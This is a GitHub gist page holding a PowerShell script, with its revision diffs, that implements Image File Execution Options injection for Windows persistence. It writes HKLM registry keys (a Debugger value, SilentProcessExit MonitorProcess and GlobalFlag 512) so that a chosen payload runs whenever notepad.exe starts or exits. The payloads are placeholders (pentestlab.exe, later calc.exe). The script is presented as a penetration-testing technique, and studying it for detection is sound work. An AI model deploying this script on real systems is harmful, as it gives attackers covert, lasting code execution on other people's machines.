Skip to content

Instantly share code, notes, and snippets.

@ashr

ashr/ImageFileExecutionOptions.ps1

Forked from netbiosX/ImageFileExecutionOptions.ps1
Created January 13, 2020 13:02
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save ashr/252c9729e398548b1f2d8ff58e5c61d3 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save ashr/252c9729e398548b1f2d8ff58e5c61d3 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @netbiosX netbiosX revised this gist Jan 13, 2020. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion ImageFileExecutionOptions.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -3,7 +3,8 @@
    License: GPLv3
    Author: @netbiosX
    #>
    # Image File Execution Options Injection Persistence Technique
    # Image File Execution Options Injection Persistence Technique
    # https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/

    function Persist-Debugger

  2. @netbiosX netbiosX revised this gist Jan 7, 2020. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions ImageFileExecutionOptions.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -26,7 +26,7 @@ function Persist-Debugger

    $GetIFEO = Get-Item -Path "$GetRegKey"

    $Payload = 'pentestlab.exe'
    $Payload = 'calc.exe'

    $GetIFEO | Set-ItemProperty -Name Debugger -Value $Payload
    }
    @@ -57,7 +57,7 @@ function Persist-GlobalFlags
    $GetIFEO = Get-Item -Path "$GetRegKey"
    $GetIF = Get-Item -Path "$GetReg"

    $Payload = 'C:\temp\pentestlab.exe'
    $Payload = 'C:\Windows\System32\calc.exe'

    $GetIFEO | New-ItemProperty -Name MonitorProcess -Value $Payload
    $GetIFEO | New-ItemProperty -Name ReportingMode -Value 1 -PropertyType "DWORD"
  3. @netbiosX netbiosX created this gist Jan 1, 2020.
    67 changes: 67 additions & 0 deletions ImageFileExecutionOptions.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,67 @@
    <#
    ImageFileExecutionOptions v1.0
    License: GPLv3
    Author: @netbiosX
    #>
    # Image File Execution Options Injection Persistence Technique

    function Persist-Debugger

    {

    $Registry = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'

    Push-Location
    Set-Location $Registry

    if(Test-Path "$Registry\Image File Execution Options\notepad.exe"){

    Write-Verbose 'Key Already Exists' -Verbose

    }else{

    New-Item -Path "$Registry\Image File Execution Options" -Name 'notepad.exe'

    $GetRegKey = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe'

    $GetIFEO = Get-Item -Path "$GetRegKey"

    $Payload = 'pentestlab.exe'

    $GetIFEO | Set-ItemProperty -Name Debugger -Value $Payload
    }
    }

    function Persist-GlobalFlags

    {

    $Registry = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'

    Push-Location
    Set-Location $Registry

    if(Test-Path "$Registry\SilentProcessExit"){

    Write-Verbose 'Key Already Exists' -Verbose

    }else{

    New-Item -Path "$Registry" -Name 'SilentProcessExit'
    New-Item -Path "$Registry\SilentProcessExit" -Name 'notepad.exe'
    New-Item -Path "$Registry\Image File Execution Options" -Name 'notepad.exe'

    $GetRegKey = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe'
    $GetReg = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe'

    $GetIFEO = Get-Item -Path "$GetRegKey"
    $GetIF = Get-Item -Path "$GetReg"

    $Payload = 'C:\temp\pentestlab.exe'

    $GetIFEO | New-ItemProperty -Name MonitorProcess -Value $Payload
    $GetIFEO | New-ItemProperty -Name ReportingMode -Value 1 -PropertyType "DWORD"
    $GetIF | New-ItemProperty -Name GlobalFlag -Value 512 -PropertyType "DWORD"

    }
    }